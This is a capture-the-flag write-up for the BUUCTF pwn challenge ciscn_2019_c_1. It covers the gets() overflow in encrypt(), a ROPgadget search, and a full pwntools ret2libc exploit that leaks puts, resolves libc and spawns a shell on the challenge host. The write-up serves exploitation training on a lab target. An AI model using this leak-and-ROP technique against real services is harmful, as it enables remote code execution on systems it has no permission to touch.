buuctf PWN ciscn_2019_c_1

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets((__int64)s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

checksec ./cisscn_2019_c_1
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

encrypt()里面get函数存在溢出点offest=0x50+8。puts()可以用来泄露libc基址。

amd64的参数调用顺序是如下序列的自后而前，即：完成传递参数（地址）->本函数地址 -> 返回地址
... -> pop_rdi;ret -> argv -> call_addr -> ret_address

获得本elf中的gadgets：
ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
ROPgadget --binary ./ciscn_2019_c_1 --only "ret"

ROPgadget --binary ./Downloads/ciscn_2019_c_1 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

pop_rdi_ret = 0x0000000000400c83  

ROPgadget --binary ./Downloads/ciscn_2019_c_1 --only "ret"
Gadgets information
============================================================
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

ret = 0x00000000004006b9

exp:(wp)

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote("node4.buuoj.cn",25830)
gamebox = ELF('./Downloads/ciscn_2019_c_1')

pop_rdi_ret = 0x0000000000400c83   
puts_plt = gamebox.plt['puts']
puts_got = gamebox.got['puts']
start_addr = gamebox.symbols['_start']
payload1 = b'A'*(88) + p64(pop_rdi_ret)
payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendlineafter("Input your choice!\n","1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload1)

io.recvuntil("Ciphertext\n")
io.recvline()
puts_leak = u64(io.recvline()[:-1].ljust(8, b'\0'))
libc = LibcSearcher('puts',puts_leak)
libc_offset = puts_leak - libc.dump('puts')
sys_addr = libc_offset + libc.dump('system')
bin_sh_addr = libc_offset + libc.dump('str_bin_sh')

ret = 0x00000000004006b9
payload2 = b'A'*(88) + p64(ret)
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
io.sendline("1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload2)
io.interactive()